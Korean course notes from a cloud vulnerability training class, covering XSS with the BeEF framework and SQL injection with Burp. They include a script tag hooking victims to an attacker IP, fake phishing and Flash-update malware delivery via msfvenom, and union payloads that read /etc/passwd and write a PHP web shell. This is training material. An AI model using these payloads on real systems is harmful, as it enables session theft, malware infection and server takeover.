본문 바로가기

Rookies 9기/클라우드 취약점 진단 및 대응 실무

취약점 진단 및 대응 실무 2일차

728x90

•XSS 취약점

 HTML, JS 등 클라이언트 스크립트를 이용하여 사용자의 브라우저를 통해 악의적인 특정 행위를 하게 하는 것

 XSS정의보다는 XSS 취약점을 이용하여 어떤 공격을 할 수 있는지?!

⇒ 사용자의 쿠키 정보(세션)을 획득하여 다른 사용자의 권한을 획득 (쿠키 재사용 공격

 악의적인 사이트로 유도를 하여 악성코드 배포

 피싱 사이트를 이용하여 개인정보 탈취

 

 

•Beef-xss 설치

sudo apt install beef-xss
beef-xss 실행

beef-xss를 실행을 하면 자동으로 웹 브라우저가 열린다.

ID/PW 확인

/usr/share/beef-xss 디렉터리로 이동을 한 후 confing.yaml 파일을 확인한다.

Beef-xss 첫 화면

Beef-xss는 사용자 웹 브라우저로 웹 페이지를 읽을 때 자바 스크립트 형태로 동작하며, 사용자 PC의 정보 수집부터 메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구

 

 

•사회 공학 기법

‣ 보이스피싱

악성코드 감염(메시지, 메일) - 임직원 보안 의식 진단

 물리 보안

 

시나리오 사례
게시판에 XSS 취약점 발견 ⇒ 악의적인 스크립트를 삽입 개발자(임직원) 클릭을 하여, 사회공학적 기법에 당함 플래시 업데이트 exe 악성코드 다운로드 및 감염 임직원 오피스 PC에서 악성코드 감염되어 내부 시스템 침투 가능 근접 네트워크 확인 및 내부 로그 시스템, 중요 시스템 침투 가능

XSS 스크립트 삽입

<script src="http://[칼리IP]:3000/hook.js"></script>  입력(Beef-xss가 실행이 되어있어야함)

다른 사용자가 게시글에 들어오면 스크립트 내용이 보이지 않는다.

HTTP 프로토콜은 비연결 프로토콜이기 때문에 비연결식으로 계속 연결을 유지하고 있다. 

Beef-xss 화면

Beef-xss 화면을 보면 열람을 하고 있는 해당 IP가 보인다.

 

 

•Create Alert Dialog 

Beef-xss

YOU라는 문자를 입력(아무 문자 입력 가능)

페이지를 보면 YOU 경고창 메시지가 뜨는 걸 볼 수 있다.

 

•Create Prompt Dialog

password? 문구를 입력 (문구는 상관없음)

스크립트 프롬프트에 작성한 문구와 입력 칸이 보인다.

피해자가 스크립트 프롬프트에 작성한 문자는 beef-xss에서 확인을 할 수 있다.

 

 

•Google Phishing

XSS hook URI 에는 공격자 IP를 입력한다.

자동으로 Google 사이트에 넘어가는 걸 볼 수 있다.

 

 

•Fake Flash Update

Image 주소는 공격자 IP를 입력

웹 브라우저에 Flash 업데이트하라는 프로그램이 나오는 걸 볼 수 있다.

 

 

•Fake Flash update 응용

msfvenom

msfvenom으로 exe 악성 파일을 만들어준다.

flash.exe 파일을 /var/www/html 경로에 복사

msfconsole

악성 파일 조종을 위한 핸들러 설정

핸들러 설정

Custom Payload URI를 Flash.exe 파일이 있는 경로로 변경을 해준다.

flash update 화면이 나오면서 클릭을 하면 악성 파일(flash.exe)을 설치하라는 문구가 나온다.

실행을 클릭하면 msfconsole 핸들러에 연결이 되는 걸 볼 수 있다.

 

 

SQL Injection

• 컬럼 개수 확인 하기 

' order by 문 사용하기
' order by 1# 결과 화면

' order by 1 ~ # 하나씩 입력을 하여 컬럼의 개수를 찾을 수 있다.

 

 

• 컬럼 개수 확인 하기 (Repeater 사용)

버프로 Intercept로 잡아주고 Repeater로 넘겨준다.

Repeater 기능

 

' order by 1 ~ # 입력을 하면서 옆에서 화면을 보면서 입력을 해준다.

 

 

• 컬럼 개수 확인 하기 (Intruder 사용)

Intruder 페이지로 넘겨준다.

Intruder에서 수정할 부분만 지정을 해준다.

Payload는 숫자만 사용하기 때문에 Numbers type를 지정을 해주고 1부터 25까지 1씩 증가하는 걸로 설정을 해준다.

Attack

 

25 길이가 다르기 때문에 24개의 컬럼이 존재한다는 걸 알 수 있다.

 

 

•컬럼의 개수 구하기 (우편번호)

우편번호 검색 창

싱글 쿼터(' )를 사용하여 SQL Injection이 가능한지 확인

우편 검색에 ' order by 1# 를 입력할 때 버프 Intercept 해주고 Intruder로 넘겨준다.

수정할 부분 지정
Numbers type의 Payload사용

8의 길이가 다르므로 7개의 컬럼의 개수가 있다.

-11' union all select 1,2,3,4,5,6,7#
-11' union all select 1,user(),3,4,5,6,7#
-11' union all select 1,user(),database(),4,5,6,7#
-11' union all select 1,load_file("/etc/passwd"),3,4,5,6,7#
-11' union all select 1,"<?php system($_GET['cmd']);?>",3,4,5,6,7 into outfile '/var/www/gm/upload/bbs/shell_hcm.php'#

system를 사용해 cmd 웹쉘을 업로드해준다.

cmd 웹쉘이 실행된 걸 볼 수 있다.

동작 확인